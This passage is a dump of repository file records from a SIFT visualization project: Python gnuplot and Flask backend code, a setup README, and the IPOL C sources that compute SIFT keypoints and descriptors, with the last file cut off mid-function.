filled lc palette\\n ')\n gnu.close()\n system('gnuplot '+infile+'draw.gnu')\n\n\n\ndef countdetections(keys, n_spo):\n \"\"\"\n Accumulate the number of detection into a scale histogram\n \"\"\"\n O = [int(x) for x in loadtxt(keys, usecols=(4,))]\n S = [int(x) for x in loadtxt(keys, usecols=(5,))]\n return multiply(O, n_spo)+S\n\n\n\ndef plot_detection_hists(keysBefore, keysAfter, label, n_oct, n_spo):\n \"\"\"\n Plot the detections histograms for two sets of detections\n input:\n keysBefore : file of keypoint with extra information\n keysAfter\n\n output:\n image histogram, its name labelBefore\n image its name labelAfter\n\n\n note : creates 2 temporary files:\n - plot_detection_hists.gnu (gnuplot script)\n - detection_hist_reformated.data (one column data file)\n \"\"\"\n O = [int(x) for x in loadtxt(keysBefore, usecols=(4,))]\n S = [int(x) for x in loadtxt(keysBefore, usecols=(5,))]\n histBefore = histogram(multiply(O, n_spo)+S, n_oct*n_spo)[0]\n O = [int(x) for x in loadtxt(keysAfter, usecols=(4,))]\n S = [int(x) for x in loadtxt(keysAfter, usecols=(5,))]\n histAfter = histogram(multiply(O, n_spo)+S, n_oct*n_spo)[0]\n\n data = open('detection_hist_reformated.data','w')\n # Reformatting data - one column per histogram'''\n for i in range(n_oct*n_spo):\n data.write('%i %i\\n'%(histBefore[i], histAfter[i]))\n data.close()\n # Gnuplot script file\n gnu = open('plot_detection_hists.gnu','w')\n gnu.write('set size ratio +1\\n')\n gnu.write('set terminal png size 800,800 \\n')\n gnu.write(\"set output '\"+label+\".png'\\n\")\n gnu.write('set style fill solid border -3.0\\n')\n gnu.write('unset xtics\\n')\n gnu.write('unset ytics\\n')\n gnu.write(\"plot 'detection_hist_reformated.data'\")\n gnu.write(\"using 1:xtic(1) with boxes notitle,\")\n gnu.write(\" 'detection_hist_reformated.data'\")\n gnu.write(\"using 0:1:1 with labels center offset 0,0.4 notitle,\")\n gnu.write(\" 'detection_hist_reformated.data'\")\n gnu.write(\"using 2:xtic(2) with boxes notitle,\")\n gnu.write(\" 'detection_hist_reformated.data'\")\n gnu.write(\"using 0:2:2 with labels center offset 0,-0.4 notitle\")\n gnu.close()\n system('gnuplot plot_detection_hists.gnu')\n remove('plot_detection_hists.gnu')\n remove('detection_hist_reformated.data')\n\n\ndef keys2hist(keys_file, n_oct, n_spo):\n \"\"\"\n Accumulate the number of detection into a scale histogram\n \"\"\"\n f = open(keys_file,'r')\n hist = [0]*(n_oct*n_spo)\n for line in f:\n key = line.split()\n o = int(key[3])\n s = int(key[4])\n hist[o*n_spo+(s-1)] = hist[o*n_spo+(s-1)]+1\n return hist\n" }, { "alpha_fraction": 0.7120000123977661, "alphanum_fraction": 0.7179999947547913, "avg_line_length": 32.33333206176758, "blob_id": "104403c9d50d53053ae5fee2a50e57675127e309", "content_id": "22a9703628f7c606599a9b0658de2e92c17f1b64", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 500, "license_type": "permissive", "max_line_length": 90, "num_lines": 15, "path": "/backend/my_blueprints/sift_cli/handle_keypoints.py", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "from flask import jsonify\nimport cv2 as cv, numpy as np\n\ndef handle_keypoints(features_string, inputImage_path):\n img = cv.imread(inputImage_path)\n gray = cv.cvtColor(img, cv.COLOR_BGR2GRAY)\n\n sift = cv.xfeatures2d.SIFT_create()\n kp = sift.detect(gray, None)\n\n img = cv.drawKeypoints(gray, kp, img, flags=cv.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS)\n cv.imwrite(\"./static/keypoints/keypoints_openCV.jpg\", img)\n\n features = features_string.splitlines()\n return jsonify(features)\n" }, { "alpha_fraction": 0.612593412399292, "alphanum_fraction": 0.6243329644203186, "avg_line_length": 38.04166793823242, "blob_id": "9e04106a9cedbf8320b81f41cb99bdd22b0efce8", "content_id": "136ee73ea8c0690280e3532634a0c69de3f9df34", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 937, "license_type": "permissive", "max_line_length": 96, "num_lines": 24, "path": "/backend/my_blueprints/sift_cli/upload_image.py", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "import os\nfrom flask import Blueprint, request, abort, current_app as app\nfrom werkzeug.utils import secure_filename\n\nupload_image = Blueprint('upload_image', __name__)\n\n@upload_image.route('/upload_image', methods=['POST'])\ndef sift_cli_upload_image():\n if request.method == 'POST':\n if 'file' not in request.files:\n abort(400, 'File cant be found')\n file = request.files['file']\n if file.filename == '':\n abort(400, 'No selected file')\n elif(file and allowed_file(request.files['file'].filename)):\n file = request.files['file']\n file.save(os.path.join(app.config[\"ASSETS_FOLDER\"], secure_filename(file.filename)))\n return file.filename\n else:\n abort(400, 'Only .png images are allowed')\n\ndef allowed_file(filename):\n return '.' in filename and \\\n filename.rsplit('.', 1)[1].lower() in app.config[\"ALLOWED_EXTENSIONS\"]\n" }, { "alpha_fraction": 0.7158878445625305, "alphanum_fraction": 0.7280373573303223, "avg_line_length": 31.42424201965332, "blob_id": "495551120ef731d3e17d646a9e51afe691851cb4", "content_id": "c48ad035c8778e2ea1cd407f7e09fe8580d88a2e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1070, "license_type": "permissive", "max_line_length": 95, "num_lines": 33, "path": "/README.md", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "# Visualization App for SIFT\n\n\n# Get started\n- **Use Ubuntu Bash on Windows** (linux subsystem)\n- Install python 3.6.7 (with pip)\n- Set the environment variables - if not already done - for python & pip (first time skip this)\n- Install flask with pip (run 'pip3 install -U Flask')\n- Install @quasar/cli globally (1.0.0-rc.2)\n - Make sure its working (just type 'quasar')\n- Clone git repository from https://github.com/Nico-MC/sift-visualization\n\n# Starting backend (flask)\n- Go to backend directory\n- Install pip dependencies ('pip install -r requirements.txt')\n- Run 'FLASK_APP=index.py flask run' or 'python index.py'\n - Using Flask produces .pyc files\n\n# Starting frontend (vuejs)\n- Go to frontend directory\n- Install node modules ('npm install')\n- Run 'quasar dev'\n- Go to localhost:8080\n\n# Known bugs\n- Windows (with Ubuntu bash):\n - Disable firewall or/and antivirus\n- Segmentation fault\n - Use 'sudo apt install python3-opencv'\n- Wrong lib png version (or other modules)\n - Version update of the module\n\n*For questions don't hesitate to contact me: [email protected]*\n" }, { "alpha_fraction": 0.5734773278236389, "alphanum_fraction": 0.5856940746307373, "avg_line_length": 29.7792911529541, "blob_id": "0059d1acb88777d69efd2badb08580e8abaf30e8", "content_id": "064875e31a69362a6c4c3a89dd99950698abfe20", "detected_licenses": [ "MIT", "BSD-2-Clause", "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 11296, "license_type": "permissive", "max_line_length": 122, "num_lines": 367, "path": "/backend/demo_SIFT/src/lib_sift.c", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "/*\nIPOL SIFT\nCopyright (C) 2014, Ives Rey-Otero, CMLA ENS Cachan\n<[email protected]>\n\nVersion 20140911 (September 11th, 2014)\n\nThis C ANSI source code is related to the IPOL publication\n\n [1] \"Anatomy of the SIFT Method.\"\n I. Rey Otero and M. Delbracio\n Image Processing Online, 2013.\n http://www.ipol.im/pub/algo/rd_anatomy_sift/\n\nAn IPOL demo is available at\n http://www.ipol.im/pub/demo/rd_anatomy_sift/\n\n\n\n\n\n== Patent Warning and License =================================================\n\n\nThis program is free software: you can use, modify and/or\nredistribute it under the terms of the simplified BSD\nLicense. You should have received a copy of this license along\nthis program. If not, see\n<http://www.opensource.org/licenses/bsd-license.html>.\n\n\n\nThe SIFT method is patented\n\n [2] \"Method and apparatus for identifying scale invariant features\n in an image.\"\n David G. Lowe\n Patent number: 6711293\n Filing date: Mar 6, 2000\n Issue date: Mar 23, 2004\n Application number: 09/519,89\n\n These source codes are made available for the exclusive aim of serving as\n scientific tool to verify the soundness and completeness of the algorithm\n description. Compilation, execution and redistribution of this file may\n violate patents rights in certain countries. The situation being different\n for every country and changing over time, it is your responsibility to\n determine which patent rights restrictions apply to you before you compile,\n use, modify, or redistribute this file. A patent lawyer is qualified to make\n this determination. If and only if they don't conflict with any patent terms,\n you can benefit from the following license terms attached to this file.\n\n*/\n/**\n * @file lib_sift.c \n * @brief A simplified interface to the anatomy with standard parameters.\n *\n *\n * @author Ives Rey-Otero <[email protected]>\n */\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <math.h>\n\n#include \"lib_sift.h\"\n#include \"lib_sift_anatomy.h\"\n#include \"lib_keypoint.h\"\n#include \"lib_util.h\"\n\n\nstatic struct sift_keypoints* sift_translate_standard_into_anatomy(const struct sift_keypoint_std* k, int n)\n{\n // load the default parameters are required\n struct sift_parameters* p = sift_assign_default_parameters();\n float sigma_min = p->sigma_min; // 0.8\n float delta_min = p->delta_min; // 0.5\n int n_spo = p->n_spo; // 3\n int n_ori = p->n_ori; // 8\n int n_hist = p->n_hist; // 4\n int n_bins = p->n_bins; // 36\n\n struct sift_keypoints* keys = sift_malloc_keypoints();\n for(int i = 0; i < n; i++){\n struct keypoint* key = sift_malloc_keypoint(n_ori, n_hist, n_bins);\n /* reading the extremum continuous coordinates */\n key->x = k[i].x;\n key->y = k[i].y;\n key->sigma = k[i].scale;\n key->theta = k[i].orientation;\n /* inferring the discrete coordinates in the scale-space grid */\n // We look for the pair of integer (o,s) such that nspo*o+s is the nearest\n // to alpha = nspo * log( k[i].scale / sigma_min) /M_LN2\n // with the constraint s=1,2,..,nspo.\n int o,s;\n int a = (int)(round( n_spo * log( k[i].scale / sigma_min) /M_LN2 ));\n o = (a-1)/n_spo;\n if (o > -1){\n s = (a-1)%n_spo + 1;\n }\n else{\n o = 0;\n s = 0;\n }\n key->o = o;\n key->s = s;\n key->i = (int)( key->x / ( delta_min * exp( key->o * M_LN2)) + 0.5 );\n key->j = (int)( key->y / ( delta_min * exp( key->o * M_LN2)) + 0.5 );\n sift_add_keypoint_to_list(key,keys);\n }\n return keys;\n}\n\n\n//static void sift_translate_anatomy_into_standard(const struct sift_keypoints *keys, struct sift_keypoint_std* k, int *n)\nvoid sift_translate_anatomy_into_standard(const struct sift_keypoints *keys, struct sift_keypoint_std* k, int *n)\n{\n *n = keys->size;\n k = (struct sift_keypoint_std*)xrealloc(k, (*n)*sizeof(*k));\n for(int i = 0; i < *n; i++){\n k[i].x = keys->list[i]->x;\n k[i].y = keys->list[i]->y;\n k[i].scale = keys->list[i]->sigma;\n k[i].orientation = keys->list[i]->theta;\n for(int j = 0; j < 128; j++){\n k[i].descriptor[j] = keys->list[i]->descr[j];\n }\n }\n}\n\n\n\n\n\n/** @brief Extracts oriented keypoints (without description\n *\n *\n */\nstruct sift_keypoint_std* sift_compute_features(const float* x, int w, int h, int *n)\n{\n\n /** assign default parameters **/\n struct sift_parameters* p = sift_assign_default_parameters();\n\n /** Memory dynamic allocation */\n // WARNING 6 lists of keypoints containing intermediary states of the algorithm\n struct sift_keypoints **kk = xmalloc(6*sizeof(struct sift_keypoints*));\n for(int i = 0; i < 6; i++){\n kk[i] = sift_malloc_keypoints();\n }\n // WARNING 4 scalespace structures\n struct sift_scalespace **ss = xmalloc(4*sizeof(struct sift_scalespace*));\n\n /** Algorithm */\n struct sift_keypoints* keys = sift_anatomy(x, w, h, p, ss, kk);\n\n /* Copy to a list of keypoints */\n *n = keys->size;\n struct sift_keypoint_std* k = xmalloc((*n)*sizeof(*k));\n for(int i = 0; i < keys->size; i++){\n k[i].x = keys->list[i]->x;\n k[i].y = keys->list[i]->y;\n k[i].scale = keys->list[i]->sigma;\n k[i].orientation = keys->list[i]->theta;\n for(int j = 0; j < 128; j++){\n k[i].descriptor[j] = keys->list[i]->descr[j];\n }\n }\n\n /* memory deallocation */\n xfree(p);\n sift_free_keypoints(keys);\n for(int i = 0; i < 6; i++){\n sift_free_keypoints(kk[i]);\n }\n xfree(kk);\n for(int i = 0; i < 4; i++){\n sift_free_scalespace(ss[i]);\n }\n xfree(ss);\n\n return k;\n}\n\n\n\n/** @brief Extracts oriented keypoints (without description\n *\n *\n */\nstruct sift_keypoint_std* sift_compute_points(const float* x, int w, int h, int *n)\n{\n\n /** assign default parameters **/\n struct sift_parameters* p = sift_assign_default_parameters();\n\n /** Memory dynamic allocation */\n // WARNING 5 lists of keypoints containing intermediary states of the algorithm\n struct sift_keypoints **kk = xmalloc(5*sizeof(struct sift_keypoints*));\n for(int i = 0; i < 5; i++){\n kk[i] = sift_malloc_keypoints();\n }\n // WARNING 4 scalespace structure containing the DoG and Gaussian scalespace and the gradient\n struct sift_scalespace **ss = xmalloc(2*sizeof(struct sift_scalespace*));\n\n /** Algorithm */\n struct sift_keypoints* keys = sift_anatomy_without_description(x, w, h, p, ss, kk);\n\n /* Copy to a list of keypoints */\n *n = keys->size;\n struct sift_keypoint_std* k = xmalloc((*n)*sizeof(*k));\n for(int i = 0; i < keys->size; i++){\n k[i].x = keys->list[i]->x;\n k[i].y = keys->list[i]->y;\n k[i].scale = keys->list[i]->sigma;\n k[i].orientation = keys->list[i]->theta;\n for(int j = 0; j < 128; j++){\n k[i].descriptor[j] = 0;\n }\n }\n\n /* memory deallocation */\n xfree(p);\n sift_free_keypoints(keys);\n for(int i = 0; i < 5; i++){\n sift_free_keypoints(kk[i]);\n }\n xfree(kk);\n for(int i = 0; i < 2; i++){\n sift_free_scalespace(ss[i]);\n }\n xfree(ss);\n\n return k;\n}\n\n/** @brief Computes SIFT descriptors on given oriented keypoints\n *\n */\nvoid sift_fill_descriptors(const float *x, int w, int h, struct sift_keypoint_std *k, int n)\n{\n\n struct sift_keypoints* keys = sift_translate_standard_into_anatomy(k, n);\n\n /** assign default parameters **/\n struct sift_parameters* p = sift_assign_default_parameters();\n\n /** algorithm */\n sift_anatomy_only_description(x, w, h, p, keys);\n\n /* Copy back to the input flat list of keypoints */\n for(int i = 0; i < keys->size; i++){\n k[i].x = keys->list[i]->x;\n k[i].y = keys->list[i]->y;\n k[i].scale = keys->list[i]->sigma;\n k[i].orientation = keys->list[i]->theta;\n for(int j=0; j<128; j++){\n k[i].descriptor[j] = (unsigned char)(keys->list[i]->descr[j]);\n }\n }\n}\n\n\nvoid sift_find_ori_and_fill_descriptors(const float *x, int w, int h, struct sift_keypoint_std *k, int n)\n{\n struct sift_keypoints* keys = sift_translate_standard_into_anatomy(k, n);\n\n /** assign default parameters **/\n struct sift_parameters* p = sift_assign_default_parameters();\n\n /** algorithm */\n sift_anatomy_orientation_and_description(x, w, h, p, keys);\n\n /* Copy back to the input flat list of keypoints */\n for(int i = 0; i < keys->size; i++){\n k[i].x = keys->list[i]->x;\n k[i].y = keys->list[i]->y;\n k[i].scale = keys->list[i]->sigma;\n k[i].orientation = keys->list[i]->theta;\n for(int j=0; j<128; j++){\n k[i].descriptor[j] = (unsigned char)(keys->list[i]->descr[j]);\n }\n }\n}\n\nvoid fprintf_keypoint_std(FILE* f, const struct sift_keypoint_std* k, int n)\n{\n for(int i=0; i<n; i++){\n fprintf(f, \"%f %f %f %f \", k[i].x, k[i].y, k[i].scale, k[i].orientation);\n for(int j=0; j<128; j++){\n fprintf(f, \"%u \", k[i].descriptor[j]);\n }\n fprintf(f, \"\\n\");\n }\n}\n\n\nvoid sift_write_to_file(const char *filename, const struct sift_keypoint_std *k, int n)\n{\n FILE* file = fopen(filename,\"w\");\n fprintf_keypoint_std(file, k, n);\n fclose(file);\n}\n\n\n\nstruct sift_keypoint_std * sift_read_from_file(const char *filename, int *n)\n{\n struct sift_parameters* p = sift_assign_default_parameters();\n int n_ori = p->n_ori; // 8\n int n_hist = p->n_hist; // 4\n int l = n_hist * n_hist * n_ori;\n int n_bins = p->n_bins;\n\n struct sift_keypoints* keys = sift_malloc_keypoints();\n int flag = 1; // read coordinates + descriptor\n sift_read_keypoints(keys, filename, n_hist, n_ori, n_bins, flag);\n\n // translating into a flat list\n *n = keys->size;\n struct sift_keypoint_std* k = xmalloc((*n)*sizeof(*k));\n for(int i = 0; i < keys->size; i++){\n k[i].x = keys->list[i]->x;\n k[i].y = keys->list[i]->y;\n k[i].scale = keys->list[i]->sigma;\n k[i].orientation = keys->list[i]->theta;\n\n for(int j = 0; j < l; j++){\n k[i].descriptor[j] = keys->list[i]->descr[j];\n }\n }\n sift_free_keypoints(keys);\n return k;\n}\n\n\nstruct sift_keypoint_std *sift_read_keyslocation_from_file(char *filename, int *n)\n{\n struct sift_parameters* p = sift_assign_default_parameters();\n int n_ori = p->n_ori; // 8\n int n_hist = p->n_hist; // 4\n int l = n_hist*n_hist*n_ori;\n int n_bins = p->n_bins;\n\n // read keypoints locations from a file and\n // save them into a sift_keypoints structure\n struct sift_keypoints* keys = sift_malloc_keypoints();\n int flag = 0; // read coordinates \n sift_read_keypoints(keys, filename, n_hist, n_ori, n_bins, flag);\n\n // translate the sift_keypoints structure into a flat list\n *n = keys->size;\n struct sift_keypoint_std* k = xmalloc((*n)*sizeof(struct sift_keypoint_std));\n for(int i = 0; i < keys->size; i++){\n k[i].x = keys->list[i]->x;\n k[i].y = keys->list[i]->y;\n k[i].scale = keys->list[i]->sigma;\n k[i].orientation = keys->list[i]->theta; // 0\n for(int j=0; j<l; j++){\n k[i].descriptor[j] = keys->list[i]->descr[j]; // 0\n }\n }\n sift_free_keypoints(keys);\n\n return k;\n}\n" }, { "alpha_fraction": 0.562347948551178, "alphanum_fraction": 0.5711678862571716, "avg_line_length": 38.14285659790039, "blob_id": "95287d1f9f7e3fe8fa3464528060a1ad1bec58b0", "content_id": "6a7f11ecb3efedf7d364905a7bb4811f63ee6353", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3288, "license_type": "permissive", "max_line_length": 116, "num_lines": 84, "path": "/backend/my_blueprints/sift_cli/get_filenames.py", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "import os, re, uuid, glob, cv2 as cv, numpy as np\nfrom flask import Blueprint, jsonify, abort\n\nget_filenames = Blueprint('get_filenames', __name__)\n\n@get_filenames.route('/get_filenames/<filename>', methods=['GET'])\ndef sift_cli_get_scales(filename):\n if(filename == 'original'):\n return get_output_files_of(\"original\")\n elif(filename == 'dog'):\n return get_output_files_of(\"dog\")\n elif(filename == 'scalespace'):\n return get_output_files_of(\"scalespace\")\n else:\n abort(400, 'No such filename')\n\ndef get_output_files_of(directory):\n if(directory == 'scalespace'):\n filelist = os.listdir(\"static/scalespace\")\n octaveList = []\n scalespace = {}\n for file in filelist:\n octave = re.search('(?<=_o).*(?=_)', file)\n if(scalespace.get(int(octave.group())) == None):\n scalespace[int(octave.group())] = ['http://localhost:5000/static/scalespace/' + file]\n else:\n scalespace[int(octave.group())].append('http://localhost:5000/static/scalespace/' + file)\n octaveList.append(int(octave.group(0)))\n scalespaceWithUniqueKey = {\n 'scalespace': scalespace,\n 'randomUuid': uuid.uuid4()\n }\n return(jsonify(scalespaceWithUniqueKey))\n elif(directory == 'dog'):\n filelist = os.listdir(\"static/dog\")\n octaveList = []\n dogs = {}\n for file in filelist:\n octave = re.search('(?<=_o).*(?=_)', file)\n if(dogs.get(int(octave.group())) == None):\n dogs[int(octave.group())] = ['http://localhost:5000/static/dog/' + file]\n else:\n dogs[int(octave.group())].append('http://localhost:5000/static/dog/' + file)\n octaveList.append(int(octave.group(0)))\n dogsWithUniqueKey = {\n 'dogs': dogs,\n 'randomUuid': uuid.uuid4()\n }\n return(jsonify(dogsWithUniqueKey))\n\n\n\n\n\n@get_filenames.route('/get_filenames/keypoints/', methods=['GET'])\ndef sift_cli_get_keypoints():\n return jsonify({\n \"keypoints\": {\n \"original\": get_keypoint_output_files_of(\"Original\"),\n \"dog\": get_keypoint_output_files_of(\"DoG\"),\n \"scalespace\": get_keypoint_output_files_of(\"Scalespace\")\n },\n \"randomUuid\": uuid.uuid4()\n })\n\ndef get_keypoint_output_files_of(type):\n output_files = {}\n listing = glob.glob('static/keypoints/step*')\n for step_number, step in enumerate(listing):\n output_files[step_number] = {}\n listing = glob.glob(step + \"/Octave*/\" + type + \"/\")\n for octave_fileString in listing:\n octave_number = re.search('(?<=Octave_).*?(?=/)', octave_fileString).group()\n if(bool(output_files[step_number])):\n output_files[step_number].update({ octave_number: {} })\n else:\n output_files[step_number] = { octave_number: {} }\n\n listing = glob.glob(octave_fileString + \"scale*\")\n for scale_fileString in listing:\n scale_number = re.search('(?<=scale_).*(?=.jpg)', scale_fileString).group()\n output_files[step_number][octave_number][scale_number] = 'http://localhost:5000/' + scale_fileString\n\n return output_files\n" }, { "alpha_fraction": 0.5224484205245972, "alphanum_fraction": 0.5385488271713257, "avg_line_length": 32.330970764160156, "blob_id": "4cc0269a5518fff802cbf7ae37fd244eede88de1", "content_id": "7d0d1e0a61e272728a9a17fd769cf567d5df26f6", "detected_licenses": [ "BSD-2-Clause", "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 14099, "license_type": "permissive", "max_line_length": 119, "num_lines": 423, "path": "/backend/demo_SIFT/src/lib_description.c", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "/*\nIPOL SIFT\nCopyright (C) 2014, Ives Rey-Otero, CMLA ENS Cachan\n<[email protected]>\n\nVersion 20140911 (September 11th, 2014)\n\nThis C ANSI source code is related to the IPOL publication\n\n [1] \"Anatomy of the SIFT Method.\"\n I. Rey Otero and M. Delbracio\n Image Processing Online, 2013.\n http://www.ipol.im/pub/algo/rd_anatomy_sift/\n\nAn IPOL demo is available at\n http://www.ipol.im/pub/demo/rd_anatomy_sift/\n\n\n\n== Patent Warning and License =================================================\n\nThe SIFT method is patented\n\n [2] \"Method and apparatus for identifying scale invariant features\n in an image.\"\n David G. Lowe\n Patent number: 6711293\n Filing date: Mar 6, 2000\n Issue date: Mar 23, 2004\n Application number: 09/519,89\n\n These source codes are made available for the exclusive aim of serving as\n scientific tool to verify the soundness and completeness of the algorithm\n description. Compilation, execution and redistribution of this file may\n violate patents rights in certain countries. The situation being different\n for every country and changing over time, it is your responsibility to\n determine which patent rights restrictions apply to you before you compile,\n use, modify, or redistribute this file. A patent lawyer is qualified to make\n this determination. If and only if they don't conflict with any patent terms,\n you can benefit from the following license terms attached to this file.\n\n\nThis program is free software: you can use, modify and/or\nredistribute it under the terms of the simplified BSD\nLicense. You should have received a copy of this license along\nthis program. If not, see\n<http://www.opensource.org/licenses/bsd-license.html>.\n\n*/\n/**\n * @file sift_description.c\n * @brief Computation the SIFT feature vector\n *\n * @li Attribution of a principal orientation\n * @li Computation of the SIFT feature vector\n *\n * @author Ives Rey-Otero <[email protected]>\n */\n\n\n\n\n\n#include <math.h>\n#include \"lib_description.h\"\n\n\n#include \"lib_util.h\"\n\n#define MAX(i,j) ( (i)<(j) ? (j):(i) )\n#define MIN(i,j) ( (i)<(j) ? (i):(j) )\n#define ABS(x) ((x)<0?-(x):(x))\n\n\n#ifndef EPSILON\n #define EPSILON 0.0001\n#endif\n\nstatic inline int ori_to_bin(float ori, int nbins)\n{\n if (ori < 0)\n ori +=2 *M_PI;\n int bin = (int)(ori/(2*M_PI)*nbins+0.5)%nbins;\n return bin;\n}\n\n\nstatic inline float bin_to_ori(float bin, int nbins)\n{\n float ori = (bin+0.5)*2*M_PI/(float)nbins;\n if (ori > M_PI)\n ori -= 2*M_PI;\n return ori;\n}\n\n\n/** @brief Accumulate gradient orientation histogram around a keypoint\n *\n * ----INPUT----\n * @param x_key\n * @param y_key\n * @param sigma_key keypoint coordinates.\n *\n * @param imX\n * @param imX precomputed gradient relative to the nearest scale.\n *\n * ----PARAM----\n * @param lambda_ori (= 1.5)\n * - The patch P^ori is ( 6 X lambda_ori X sigma_key )\n * - The Gaussian window has a standard deviation of lambda_ori X sigma_key\n *\n * @param nbins (= 36) number of bins covering the range [0,2pi]\n *\n *\n * ----OUTPUT----\n * @output hist the output is vec of bins value\n *\n * ----RETURN----\n * @return count number of pixels contributing to the histogram.\n *\n */\nvoid sift_accumulate_orientation_histogram(float x_key,\n float y_key,\n float sigma_key,\n const float* imX,\n const float* imY,\n int w,\n int h,\n int nbins,\n float lambda_ori,\n float* hist)\n{\n /// Initialize output vector\n for(int i= 0;i<nbins;i++){hist[i] = 0.0;}\n\n /// Contributing pixels are inside a patch [siMin;siMax] X [sjMin;sjMax]\n // of width w 6*lambda_ori*sigma_key (=9*sigma_key)\n float R = 3*lambda_ori*sigma_key;\n int siMin = MAX(0, (int)(x_key-R+0.5));\n int sjMin = MAX(0, (int)(y_key-R+0.5));\n int siMax = MIN((int)(x_key+R+0.5), h-1);\n int sjMax = MIN((int)(y_key+R+0.5), w-1);\n\n /// For each pixel inside the patch.\n for(int si = siMin; si <= siMax; si++){\n for(int sj = sjMin; sj <= sjMax; sj++){\n\n /// Compute pixel coordinates (sX,sY) on keypoint's invariant\n //referential.\n float sX = (si-x_key)/sigma_key;\n float sY = (sj-y_key)/sigma_key;\n\n // gradient orientation (theta)\n float dx = imX[si*w+sj];\n float dy = imY[si*w+sj];\n float ori = modulus(atan2(dy, dx), 2*M_PI);\n\n // gradient magnitude with Gaussian weighing\n float r2 = sX*sX+sY*sY;\n float M = hypot(dx,dy) * exp(-r2/(2*lambda_ori*lambda_ori));\n\n /// Determine the bin index in the circular histogram\n int gamma = ori_to_bin(ori, nbins);\n\n /// Add the contribution to the orientation histogram\n hist[gamma] += M;\n }\n }\n}\n\n\nstatic float interpolate_peak(float h1, float h2, float h3)\n{\n float offset = (h1-h3)/(2*(h1+h3-2*h2));\n return offset;\n}\n\n\nstatic void smooth_circular_histogram(int niter, float* hist, int nbins);\n\n\n\n/** @brief Extract principal orientations from gradient orientation histogram\n *\n * ----INPUT----\n * @param hist histogram of gradient orientation.\n * @param nbins (=36) number of bins covering range [0,2pi].\n *\n * ----PARAM----\n * @param threshold (0.8) local maxima are considered secondary\n * principal orientation if they exceed\n * threshold times the absolute maximum.\n * expressed in percentage of the max value\n *\n * ----OUTPUT----\n * @output principal_orientations pointer to tab storing principal orientations.\n *\n * ----RETURN----\n * @return nori number of principal orientation (>=1)\n */\nint sift_extract_principal_orientations(float* hist,\n int nbins,\n float threshold,\n float* principal_orientations)\n{\n // number of principal orientations ( the return value).\n int o = 0;\n\n // Smooth histogram : 6 iterated box filters\n smooth_circular_histogram(6, hist, nbins);\n // What is the value of the global maximum\n float max_value = array_max(hist, nbins);\n // Search for local extrema in the histogram\n for(int i = 0; i < nbins; i++){\n int i_prev = (i-1+nbins)%nbins;\n int i_next = (i+1)%nbins;\n if ( (hist[i] > threshold*max_value) && (hist[i]>hist[i_prev]) && (hist[i]>hist[i_next])){\n // Quadratic interpolation of the position of each local maximum\n float offset = interpolate_peak(hist[i_prev], hist[i], hist[i_next]);\n // Add to vector of principal orientations (expressed in [0,2pi]\n principal_orientations[o] = bin_to_ori((float)i + offset, nbins);\n o++;\n }\n }\n // return the number of principal orientations\n return o;\n}\n\n\n\nfloat sift_extract_one_orientation(float* hist, int nbins)\n{\n float ori; // return value\n\n int i,i_prev,i_next; // bin indices\n float offset; // for normalization and interpolation\n\n // Smooth histogram : 6 iterated box filters\n smooth_circular_histogram(6, hist, nbins);\n\n // Find the histogram global extrema\n float t = find_array_max(hist, nbins, &i);\n (void)t;\n i_prev=(i-1+nbins)%nbins;\n i_next=(i+1)%nbins;\n // Quadratic interpolation of the position of each local maximum\n offset = interpolate_peak(hist[i_prev], hist[i], hist[i_next]);\n ori = bin_to_ori((float)i + offset, nbins);\n return ori;\n}\n\n\n/** @brief Extract keypoint feature vector\n *\n * ----INPUT----\n * @param x_key\n * @param y_key\n * @param sigma_key\n * @param theta_key keypoint coordinates.\n *\n * @param imX\n * @param imX precomputed gradient relative to the nearest scale.\n *\n * ----PARAM----\n * @param lambda_descr (=6)\n * - The gaussian window has a standard deviation of lambda_descr X=* sigma_key\n * - The patch P^descr is ( 2 * lambda_descr * sigma_key * (1+1/Nhist) wide\n *\n * @param Nhist (=4) number of histograms in each of the two directions,\n * @param Nbins (=8) number of bins covering the range [0,2pi]\n *\n * ----OUTPUT----\n * @output descr\n *\n * ----RETURN----\n * @return count number of sample contributing to the descriptor\n */\nvoid sift_extract_feature_vector(float x_key, float y_key, float sigma_key,\n float theta_key,\n const float* imX, const float* imY,\n int w, int h,\n int Nhist,\n int Nbins,\n float lambda_descr,\n float* descr)\n{\n // Initialize descr tab\n for(int i = 0; i < Nhist*Nhist*Nbins; i++){descr[i] = 0.0;}\n // Contributing pixels are inside a patch [siMin;siMax]X[sjMin;sjMax] of\n // width 2*lambda_descr*sigma_key*(nhist+1)/nhist\n float R = (1+1/(float)Nhist)*lambda_descr*sigma_key;\n float Rp = M_SQRT2*R;\n int siMin = MAX(0, (int)(x_key - Rp +0.5));\n int sjMin = MAX(0, (int)(y_key - Rp +0.5));\n int siMax = MIN((int)(x_key + Rp +0.5), h-1);\n int sjMax = MIN((int)(y_key + Rp +0.5), w-1);\n /// For each pixel inside the patch.\n for(int si = siMin; si < siMax; si++){\n for(int sj = sjMin; sj < sjMax; sj++){\n // Compute pixel coordinates (sX,sY) on keypoint's invariant referential.\n float X = si - x_key;\n float Y = sj - y_key;\n apply_rotation(X, Y, &X, &Y, -theta_key);\n // Does this sample fall inside the descriptor area ?\n if (MAX(ABS(X),ABS(Y)) < R) {\n // Compute the gradient orientation (theta) on keypoint referential.\n double dx = imX[si*w+sj];\n double dy = imY[si*w+sj];\n float ori = atan2(dy, dx) - theta_key;\n ori = modulus(ori, 2*M_PI);\n // Compute the gradient magnitude and apply a Gaussian weighing to give less emphasis to distant sample\n double t = lambda_descr*sigma_key;\n double M = hypot(dx, 